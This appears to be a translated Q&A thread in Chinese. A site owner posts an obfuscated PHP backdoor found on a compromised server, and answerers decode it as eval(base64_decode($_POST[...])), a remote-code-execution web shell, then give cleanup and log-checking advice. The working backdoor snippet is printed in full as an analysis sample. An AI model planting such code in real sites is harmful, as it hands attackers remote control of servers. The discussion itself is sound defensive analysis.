我的服务器最近受到了攻击,我一直在努力研究它的发生方式和原因。
我在病毒文件中发现了一个非常相似的模式,看起来像这样 - 据我所知,它试图运行一个特定的文件?
有没有人见过这样的东西,我该怎么解释呢?它只是根据$sF
字符串抓取单个字符吗?
<?php
$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3'];
if (isset($s22)) {
eval($s21($s22));
}?>
答案 0 :(得分:27)
变量$s21
等于base64_decode
,$s22
等于$_POST['nd335c3']
。
每当向您的服务器发出POST
请求时,它会执行$_POST['nd335c3'];
中的任何命令,如您所料,这是非常危险的。
我非常怀疑您的服务器遭到黑客攻击,但您的网站脚本被利用了。您的网站上是否有用户可以上传文件的地方?我已经看到很多类似于WordPress的插件编码很差的东西。
解决问题
要解决此问题,请先删除此文件或代码段。您可能希望关闭站点并将其置于维护模式,直到您可以搜索并验证所有其他文件未被修改。
一旦站点恢复并运行,请记录对被黑客文件所在位置的请求或包含相同POST变量的请求。
一旦有用户向漏洞利用程序发送数据,您就可以检查所有其他日志文件,并将它们与相同的IP地址和用户代理进行比较。这是一个远景,但希望他们只使用一台计算机来进行攻击。从日志中,您可以看到他们访问了什么,可能会执行攻击并上传被利用的文件。
预防未来
/tmp
答案 1 :(得分:8)
只需按照$ sF字符串上的contatination代码,您就会看到
$21 = "base64_decode";
$22 = "_POST['nd335c3']";
和其余的代码,基本上检查_POST ['nd335c3']是否存在,如果存在,执行PHP代码:base64_decode(_POST['nd335c3']);
接下来我做了什么我真的不知道,因为你没有显示整个病毒代码。
希望它有所帮助。
答案 2 :(得分:4)
非常好的病毒。上面的答案似乎解释得很好,但也许你现在可以更好地理解PHP了。你可以看到PHP是如何对病毒友好的,但这是使它如此通用的东西之一,这是一种很酷的语言,可以用于很多事情。
一个稍微不那么恶意的代码混淆示例:
<?php
$v1 = "sartvuhi_";
$v2 = $v1[3] . $v1[6] . $v1[7] . $v1[0] . $v1[8];
$v3 = $v1[7] . $v1[0] . $v1[8] . $v1[1] . $v1[8];
$v4 = $v1[4] . $v1[7] . $v1[2] . $v1[5] . $v1[0];
echo $v2 . $v3 . $v4;
?>